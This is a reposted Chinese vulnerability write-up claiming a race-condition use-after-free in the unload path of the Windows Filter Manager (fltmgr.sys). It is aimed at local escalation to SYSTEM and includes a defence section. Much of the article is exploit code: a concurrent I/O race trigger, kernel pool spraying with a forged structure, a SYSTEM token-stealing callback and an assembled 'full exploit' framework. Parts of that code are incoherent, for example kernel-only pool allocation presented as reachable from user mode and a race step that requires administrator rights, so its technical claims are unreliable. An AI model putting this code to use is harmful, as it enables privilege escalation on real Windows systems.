Windows过滤管理器中的Attached结构体混淆

admin 2026-09-29 05:38:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析Windows过滤管理器fltmgr.sys中attached结构体的竞态条件漏洞,指出fltunregisterfilter卸载路径存在引用计数分离缺陷,可被利用触发use-after-free,进而通过结构体混淆劫持卷设备栈回调指针,实现本地权限提升至SYSTEM。文章详细描述了攻击链、POC代码及防御方案,属于高质量漏洞研究。 综合评分: 88 文章分类: 漏洞分析,红队,恶意软件,渗透测试,安全开发


Windows 过滤管理器中的 Attached 结构体混淆

原创

Ghost Wolf Lab Ghost Wolf Lab

Ghost Wolf Lab

2026年9月25日 04:04 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

摘要

Windows 过滤管理器(FltMgr.sys)通过 Attached 结构体将微过滤器绑定到卷设备栈,维护着每个微过滤器实例在 I/O 栈中的位置关系。然而,在 FltUnregisterFilter 卸载路径中,该结构体的引用计数管理存在竞态条件窗口,攻击者可利用并发 I/O 请求使 Attached 结构体在仍被引用时被释放,导致 use-after-free。这种结构体混淆使得攻击者能够覆写内核池中的控制数据,劫持卷设备栈上的回调指针,最终实现从低权限用户到 SYSTEM 的本地权限提升。本文从过滤管理器的 Attached 结构体架构出发,逐层剖析 FltUnregisterFilter 卸载路径中的竞态窗口、引用计数缺陷及卷设备栈劫持机制,构建基于 Windows 内核驱动和用户态触发器的完整 PoC,并讨论基于引用计数完整性监控和卸载路径审计的防御方案。

过滤管理器与 Attached 结构体

过滤管理器在文件系统栈中的位置

Windows 过滤管理器(Filter Manager,FltMgr.sys)是文件系统过滤驱动框架的核心组件,位于文件系统驱动(如 NTFS、FAT32)与遗留过滤器之间。它允许微过滤器驱动注册回调例程,以拦截和处理文件系统操作(如创建、读取、写入、重命名)。

过滤管理器维护了一个“帧”概念,用于在 I/O 栈中插入微过滤器。

每个帧包含一组在相同高度(altitude)上运行的微过滤器实例,帧的排列顺序决定了微过滤器的调用顺序。当微过滤器加载时,过滤管理器将其回调函数插入到 I/O 处理路径中;当微过滤器卸载时,过滤管理器需要从所有卷设备栈中移除其回调。

Attached 结构体的角色

在过滤管理器的内部实现中,Attached 结构体(_FLT_ATTACHED_VOLUME 或类似命名)是连接微过滤器实例与卷设备栈的关键数据结构。它存储了以下信息:

  • 卷对象指针:指向该微过滤器实例所附加的卷设备对象。
  • 设备栈位置:微过滤器在设备栈中的相对位置(在哪个设备对象之上或之下)。
  • 回调注册表:该微过滤器在此卷上注册的所有 I/O 回调函数。
  • 引用计数:跟踪有多少未完成的 I/O 操作正在引用此 Attached 结构体。

当一个微过滤器通过 FltAttachVolume 或自动附加机制绑定到某个卷时,过滤管理器为该微过滤器分配一个 Attached 结构体,并将其插入卷的过滤器链表中。当 I/O 请求经过该卷时,过滤管理器根据 Attached 结构体中的回调注册表调用相应的微过滤器函数。

FltUnregisterFilter 的卸载流程

当微过滤器准备卸载时,其 FilterUnloadCallback 例程调用 FltUnregisterFilter,将 PFLT_FILTER 指针传递给过滤管理器。该函数执行以下操作:

  1. 停止新 I/O 的调度:设置过滤器状态为“正在卸载”,阻止新的 I/O 操作进入该微过滤器的回调。
  2. 等待未完成的引用:如果微过滤器的 PFLT_FILTER 指针上存在未完成的断开引用,FltUnregisterFilter 会进入等待状态,直到这些引用被删除。
  3. 拆卸卷附件:遍历所有附加了该微过滤器的卷,为每个卷调用 InstanceTeardownStartCallback 和 InstanceTeardownCompleteCallback。
  4. 释放 Attached 结构体:从卷设备栈中移除微过滤器的回调,释放对应的 Attached 结构体。

关键的安全缺陷在于步骤 2 和步骤 4 之间的竞态窗口。如果攻击者能够在此窗口期间向目标卷发起并发的 I/O 请求,使某个 I/O 操作在 Attached 结构体被释放之前获取了其引用,而在释放之后才使用该引用,就会触发 use-after-free。

卸载路径中的竞态窗口与引用计数缺陷

引用计数的非原子性

过滤管理器使用引用计数来跟踪 Attached 结构体的活跃引用。每个 I/O 操作在进入过滤管理器时,会调用 FltObjectReference 来增加过滤器对象的引用计数;在操作完成时,调用 FltObjectDereference 来减少计数。

在 FltUnregisterFilter 的卸载流程中,过滤管理器会等待 PFLT_FILTER 上的引用计数降至零。然而,Attached 结构体本身的引用计数与过滤器对象的引用计数是分离的。一个 I/O 操作可能持有对过滤器对象的引用,但尚未增加 Attached 结构体的引用计数;当卸载流程释放 Attached 结构体时,该 I/O 操作随后访问 Attached 结构体就会触发 UAF。

这种引用计数分离的设计缺陷在多个 Windows 版本中导致了 CVE 的发现。CVE-2018-8333 正是过滤管理器在“不当处理内存中的对象”时引发的权限提升漏洞,影响 Windows 7 至 Windows 10 的多个版本。后续研究进一步揭示了 Cloud Files 微过滤器(cldflt.sys)中类似的竞态条件,如 CVE-2025-55680(TOCTOU 竞态)和 CVE-2026-27926(竞态条件)。

结构体混淆的攻击面

Attached 结构体在内核池中分配,其大小和布局取决于具体的 Windows 构建版本。当攻击者触发 UAF 后,释放的内存槽位可以被其他内核对象重新占用。如果攻击者能够控制重新占用的对象的内容,就可以构造一个“结构体混淆”——让过滤管理器将攻击者控制的数据误认为是合法的 Attached 结构体。

CVE-2025-62221 的 PoC 精确描述了这一攻击模式:cldflt.sys 在处理云后端重解析点的异步 I/O 请求时,未能实现原子引用计数,通过精心构造的 IOCTL 调度例程触发竞态条件,导致悬空指针场景。攻击者随后使用内核池喷射(Pool Grooming)技术,用受控数据结构占据刚释放的内存槽位,将 UAF 条件转化为“类型混淆”或“受控指针覆写”。

从 UAF 到 Token 窃取

一旦攻击者成功混淆了 Attached 结构体,攻击路径包括:

  1. 覆写回调指针:Attached 结构体中的回调注册表包含微过滤器的函数指针。攻击者可以覆写这些指针,使其指向自己控制的内核代码或 ROP 链。
  2. 劫持卷设备栈:通过修改 Attached 结构体中的设备对象指针,攻击者可以将后续的 I/O 操作重定向到攻击者控制的设备对象。
  3. Token 窃取:在获得内核代码执行后,攻击者执行经典的 Token 窃取操作——定位 SYSTEM 进程(PID 4)的 EPROCESS 结构,复制其主访问令牌到攻击者进程的 EPROCESS 中。

卷设备栈权限提升的完整攻击链

攻击者

  • 攻击者拥有低权限用户账户,能够在本地系统上执行代码。
  • 目标系统加载了存在竞态条件缺陷的微过滤器驱动(如 cldflt.sys、bfs.sys 或第三方微过滤器)。
  • 攻击者能够向目标卷发起 I/O 请求(通过标准文件系统 API)。

攻击步骤

阶段一:环境侦察。攻击者枚举系统中加载的微过滤器,识别存在已知竞态条件缺陷的目标。可通过 fltmc.exe filters 或直接查询过滤管理器的内部结构来获取微过滤器列表。

阶段二:触发竞态条件。攻击者创建一组并发线程:

  • 线程 A 调用 FltUnregisterFilter(通过卸载一个攻击者控制的微过滤器,或触发系统的微过滤器卸载)。
  • 线程 B 向目标卷发起大量 I/O 请求(如 CreateFile、ReadFile),试图在 Attached 结构体被释放之前获取其引用。

阶段三:池喷射。当 UAF 被触发后,攻击者使用 NtAllocateVirtualMemory 或内核对象创建(如 CreateEvent、CreateFile)来喷射内核池,尝试占据刚释放的 Attached 结构体内存槽位。

阶段四:结构体混淆。攻击者精心构造喷射对象的内容,使其在关键偏移处包含攻击者控制的指针。当过滤管理器错误地将此对象视为 Attached 结构体时,其回调指针被劫持。

阶段五:Token 窃取。攻击者的恶意回调在内核上下文中执行,定位 SYSTEM 进程的 EPROCESS 并复制其 Token。

实战 PoC

竞态条件触发器(C++)

以下代码演示如何通过并发 I/O 请求触发 FltUnregisterFilter 卸载路径中的竞态条件。

// filter_race_trigger.cpp — 触发过滤管理器卸载竞态// 编译: cl /EHsc filter_race_trigger.cpp /link ntdll.lib
#include&nbsp;<windows.h>#include&nbsp;<stdio.h>#include&nbsp;<thread>#include&nbsp;<vector>#include&nbsp;<atomic>
std::atomic<bool> g_stop{false};std::atomic<int> g_io_count{0};
// 向目标卷发起 I/O 请求的线程void&nbsp;io_worker(const&nbsp;wchar_t* target_path)&nbsp;{&nbsp; &nbsp;&nbsp;while&nbsp;(!g_stop) {&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileW(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target_path,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GENERIC_READ,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL&nbsp; &nbsp; &nbsp; &nbsp; );
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hFile != INVALID_HANDLE_VALUE) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;buffer[4096];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD bytesRead;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ReadFile(hFile, buffer,&nbsp;sizeof(buffer), &bytesRead,&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CloseHandle(hFile);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_io_count++;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}
// 卸载微过滤器的线程(需要 SeloadDriverPrivilege)void&nbsp;unload_filter_thread(const&nbsp;wchar_t* filter_name)&nbsp;{&nbsp; &nbsp;&nbsp;// 使用 fltmc.exe unload 或直接调用 FilterUnload&nbsp; &nbsp;&nbsp;// 此处简化为调用 fltmc&nbsp; &nbsp;&nbsp;wchar_t&nbsp;cmd[256];&nbsp; &nbsp;&nbsp;swprintf_s(cmd,&nbsp;L"fltmc unload %s", filter_name);&nbsp; &nbsp; _wsystem(cmd);}
int&nbsp;wmain(int&nbsp;argc,&nbsp;wchar_t* argv[])&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(argc <&nbsp;3) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;wprintf(L"用法: %s <目标卷路径> <微过滤器名称>\n", argv[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;wprintf(L"示例: %s C:\\test\\race_test.bin MyFilter\n", argv[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;const&nbsp;wchar_t* target_path = argv[1];&nbsp; &nbsp;&nbsp;const&nbsp;wchar_t* filter_name = argv[2];
&nbsp; &nbsp;&nbsp;// 启动多个 I/O 线程&nbsp; &nbsp; std::vector<std::thread> io_threads;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;8; i++) {&nbsp; &nbsp; &nbsp; &nbsp; io_threads.emplace_back(io_worker, target_path);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 短暂延迟,让 I/O 线程稳定运行&nbsp; &nbsp;&nbsp;Sleep(100);
&nbsp; &nbsp;&nbsp;printf("[*] 开始卸载微过滤器: %ls\n", filter_name);&nbsp; &nbsp;&nbsp;printf("[*] 并发 I/O 线程数: %d\n", (int)io_threads.size());
&nbsp; &nbsp;&nbsp;// 在单独的线程中执行卸载&nbsp; &nbsp;&nbsp;std::thread&nbsp;unload_thread(unload_filter_thread, filter_name);
&nbsp; &nbsp;&nbsp;// 等待卸载完成&nbsp; &nbsp; unload_thread.join();
&nbsp; &nbsp;&nbsp;printf("[*] 卸载完成,总 I/O 次数: %d\n", g_io_count.load());
&nbsp; &nbsp;&nbsp;// 停止 I/O 线程&nbsp; &nbsp; g_stop =&nbsp;true;&nbsp; &nbsp;&nbsp;for&nbsp;(auto& t : io_threads) {&nbsp; &nbsp; &nbsp; &nbsp; t.join();&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;printf("[*] 测试结束\n");&nbsp; &nbsp;&nbsp;return&nbsp;0;}

说明:该 PoC 通过 8 个并发 I/O 线程持续向目标卷发起 CreateFile + ReadFile 操作,同时触发微过滤器的卸载。在卸载过程中,过滤管理器需要等待未完成的引用,但 Attached 结构体的引用计数与过滤器对象的引用计数分离,导致 I/O 操作可能在 Attached 结构体被释放后仍持有其指针。

内核池喷射与结构体伪造

// pool_groom.c — 内核池喷射以占据释放的 Attached 结构体// 此代码需在内核驱动中运行,或通过 NtAllocateVirtualMemory 等 API 从用户态触发
#include&nbsp;<ntifs.h>
// 伪造的 Attached 结构体模板typedef&nbsp;struct&nbsp;_FAKE_ATTACHED {&nbsp; &nbsp; LIST_ENTRY VolumeListEntry; &nbsp; &nbsp; &nbsp;// 链表条目&nbsp; &nbsp; PVOID VolumeObject; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 卷对象指针&nbsp; &nbsp; ULONG ReferenceCount; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 引用计数(设为高值以阻止释放)&nbsp; &nbsp; PVOID DeviceStack; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 设备栈指针&nbsp; &nbsp;&nbsp;// 回调函数指针数组&nbsp; &nbsp; PVOID Callbacks[16];&nbsp; &nbsp;&nbsp;// ... 其他字段} FAKE_ATTACHED;
// 内核池喷射:分配大量与 Attached 结构体大小相近的对象void&nbsp;spray_kernel_pool(SIZE_T object_size,&nbsp;int&nbsp;count) {&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < count; i++) {&nbsp; &nbsp; &nbsp; &nbsp; PVOID mem = ExAllocatePoolWithTag(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NonPagedPool,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; object_size,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'tAHF'&nbsp;&nbsp;// 池标签&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(mem) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 用攻击者控制的数据填充&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlFillMemory(mem, object_size,&nbsp;0x41);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在关键偏移处放置伪造的回调指针&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FAKE_ATTACHED* fake = (FAKE_ATTACHED*)mem;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fake->ReferenceCount =&nbsp;0xFFFFFFFF; &nbsp;// 防止被释放&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;j =&nbsp;0; j <&nbsp;16; j++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fake->Callbacks[j] = (PVOID)0xDEADBEEF; &nbsp;// 攻击者控制的地址&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}
// 触发 Token 窃取的恶意回调NTSTATUS MaliciousCallback(&nbsp; &nbsp; PFLT_CALLBACK_DATA Data,&nbsp; &nbsp; PCFLT_RELATED_OBJECTS FltObjects,&nbsp; &nbsp; PVOID* CompletionContext) {&nbsp; &nbsp;&nbsp;// 定位 SYSTEM 进程的 EPROCESS&nbsp; &nbsp; PEPROCESS systemProcess =&nbsp;NULL;&nbsp; &nbsp; PsLookupProcessByProcessId((HANDLE)4, &systemProcess);
&nbsp; &nbsp;&nbsp;if&nbsp;(systemProcess) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 复制 SYSTEM 的 Token 到当前进程&nbsp; &nbsp; &nbsp; &nbsp; PEPROCESS currentProcess = PsGetCurrentProcess();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 通过 EPROCESS 偏移获取 Token 字段(偏移取决于 Windows 版本)&nbsp; &nbsp; &nbsp; &nbsp; PVOID* systemToken = (PVOID*)((PUCHAR)systemProcess + TOKEN_OFFSET);&nbsp; &nbsp; &nbsp; &nbsp; PVOID* currentToken = (PVOID*)((PUCHAR)currentProcess + TOKEN_OFFSET);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 替换 Token&nbsp; &nbsp; &nbsp; &nbsp; *currentToken = *systemToken;
&nbsp; &nbsp; &nbsp; &nbsp; ObDereferenceObject(systemProcess);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;}

说明:该代码演示了两个关键组件。池喷射通过分配大量与 Attached 结构体大小相近的内核池对象,并用攻击者控制的数据填充,试图在 UAF 发生后占据释放的内存槽位。恶意回调在获得内核执行后,定位 SYSTEM 进程的 EPROCESS 结构,复制其访问令牌到当前进程,完成权限提升。

用户态完整利用框架

// full_exploit.cpp — 完整攻击链框架// 整合竞态触发、池喷射和 Token 窃取
#include&nbsp;<windows.h>#include&nbsp;<stdio.h>#include&nbsp;<thread>#include&nbsp;<vector>#include&nbsp;<atomic>
// 从 4.1 节复用的 I/O 工作线程extern&nbsp;void&nbsp;io_worker(const&nbsp;wchar_t* target_path);extern&nbsp;std::atomic<bool> g_stop;
// 用户态池喷射(通过创建内核对象间接喷射内核池)void&nbsp;userland_pool_spray(int&nbsp;count)&nbsp;{&nbsp; &nbsp; std::vector<HANDLE> handles;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < count; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建事件对象,占用 NonPagedPool&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hEvent =&nbsp;CreateEventW(NULL, TRUE, FALSE,&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hEvent) handles.push_back(hEvent);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建文件对象&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileW(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;L"\\\\.\\C:", GENERIC_READ,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL, OPEN_EXISTING,&nbsp;0,&nbsp;NULL&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hFile != INVALID_HANDLE_VALUE) handles.push_back(hFile);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;printf("[*] 已喷射 %zu 个内核对象\n", handles.size());
&nbsp; &nbsp;&nbsp;// 保持句柄打开以维持池占用&nbsp; &nbsp;&nbsp;Sleep(5000);
&nbsp; &nbsp;&nbsp;for&nbsp;(HANDLE h : handles) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CloseHandle(h);&nbsp; &nbsp; }}
int&nbsp;wmain(int&nbsp;argc,&nbsp;wchar_t* argv[])&nbsp;{&nbsp; &nbsp;&nbsp;printf("=== 过滤管理器卸载竞态 PoC ===\n\n");
&nbsp; &nbsp;&nbsp;// 阶段 1: 启动 I/O 线程&nbsp; &nbsp; std::vector<std::thread> io_threads;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;8; i++) {&nbsp; &nbsp; &nbsp; &nbsp; io_threads.emplace_back(io_worker,&nbsp;L"C:\\test\\target.bin");&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;Sleep(100);&nbsp; &nbsp;&nbsp;printf("[*] I/O 线程已启动,准备触发卸载竞态\n");
&nbsp; &nbsp;&nbsp;// 阶段 2: 触发卸载(需要管理员权限)&nbsp; &nbsp;&nbsp;printf("[*] 触发微过滤器卸载...\n");&nbsp; &nbsp;&nbsp;system("fltmc unload MyFilter");
&nbsp; &nbsp;&nbsp;// 阶段 3: 池喷射&nbsp; &nbsp;&nbsp;printf("[*] 开始内核池喷射...\n");&nbsp; &nbsp;&nbsp;std::thread&nbsp;spray_thread(userland_pool_spray,&nbsp;10000);&nbsp; &nbsp; spray_thread.join();
&nbsp; &nbsp;&nbsp;// 阶段 4: 检查提权结果&nbsp; &nbsp; HANDLE hToken;&nbsp; &nbsp;&nbsp;if&nbsp;(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {&nbsp; &nbsp; &nbsp; &nbsp; TOKEN_ELEVATION elevation;&nbsp; &nbsp; &nbsp; &nbsp; DWORD size;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(GetTokenInformation(hToken, TokenElevation,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &elevation,&nbsp;sizeof(elevation), &size)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(elevation.TokenIsElevated) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[!] 权限提升成功!当前进程已获得 SYSTEM 权限\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] 权限提升未成功,竞态未命中\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CloseHandle(hToken);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 清理&nbsp; &nbsp; g_stop =&nbsp;true;&nbsp; &nbsp;&nbsp;for&nbsp;(auto& t : io_threads) t.join();
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

检测与防御

引用计数完整性监控

过滤管理器卸载竞态的核心信号是 Attached 结构体的引用计数与 I/O 操作的活跃状态不一致。内核可以通过以下方式监控:

  • Attached 结构体引用计数审计:在 FltObjectReference 和 FltObjectDereference 的关键路径上增加审计钩子,记录每个 Attached 结构体的引用计数变化。当卸载流程释放 Attached 结构体时,检查是否存在未完成的 I/O 引用。
  • 卸载期间的 I/O 拦截:在 FltUnregisterFilter 的卸载流程中,强制阻止新的 I/O 操作进入该微过滤器的回调路径,直到所有未完成的引用被清理。

卸载路径审计

  • 监控 fltmc.exe unload 调用:如 CraftedSignal 威胁情报所指出的,攻击者可能滥用 Filter Manager 控制程序来卸载安全产品的微过滤器。部署审计规则监控 fltmc.exe unload 的调用,特别是针对安全产品(如 WdFilter.sys)的卸载尝试。
  • 检测异常卸载时序:监控微过滤器卸载事件与大量并发 I/O 请求的时序关联。正常的卸载流程不会伴随异常的 I/O 压力。

内核池完整性保护

  • 启用 Driver Verifier:Windows Driver Verifier 的 I/O 验证选项可以检测微过滤器驱动对 FltMgr 函数的不当使用,包括引用计数错误和 UAF。
  • 内核池隔离:使用 ExAllocatePoolWithTag 的 POOL_FLAG_NON_PAGED 和 POOL_FLAG_USE_QUOTA 等标志,将关键内核对象分配到隔离的池中,增加攻击者池喷射的难度。

微过滤器卸载保护

  • 注册 FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP:微过滤器驱动可以注册此标志,防止服务停止时卸载驱动。这可以阻止攻击者通过服务控制管理器触发卸载。
  • 拒绝非受信进程的卸载请求:过滤管理器可以增加策略,要求卸载请求必须来自具有特定签名的进程(如系统进程或经过认证的管理工具)。

漏洞修复追踪

  • CVE-2018-8333:微软已在 2018 年 10 月的安全更新中修复。
  • CVE-2025-55680 / CVE-2026-27926:Cloud Files 微过滤器的 TOCTOU 竞态条件,已在 2025 年 10 月和 2026 年 4 月的更新中修复。
  • CVE-2025-62221:cldflt.sys 的 UAF 漏洞,修复补丁于 2026 年 1 月发布。

结语

过滤管理器中的 Attached 结构体混淆揭示了 Windows 内核中一个根本性的安全挑战:当引用计数的管理跨越多个组件和多个生命周期阶段时,竞态条件窗口便成为攻击者可利用的结构性缺陷。FltUnregisterFilter 卸载路径中的 UAF 不需要任何内存破坏漏洞——攻击者只需在正确的时刻发起正确的 I/O 请求,就能让内核自己释放一个仍然被引用的结构体。

Cloud Files 微过滤器(cldflt.sys)中反复出现的竞态条件漏洞——从 CVE-2020-17103 到 CVE-2025-62221,再到 2026 年被发现补丁被回滚的 MiniPlasma——表明这类缺陷的修复极其困难,甚至可能因代码回归而重新出现。对于防御者而言,启用 Driver Verifier、监控卸载路径的异常行为、以及对安全产品微过滤器实施卸载保护,是当前最务实的缓解措施。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Ghost Wolf Lab Ghost Wolf Lab Ghost Wolf Lab《Windows 过滤管理器中的 Attached 结构体混淆》

中秋|月无缺·人团圆 网络安全文章

中秋|月无缺·人团圆

文章总结: 该文档为信息安全国家工程研究中心发布的中秋节祝福推文,主题为月无缺人团圆,内容为节日问候与祝福,无技术性内容或可操作建议。 综合评分: 10 文章分
评论:0   参与:  0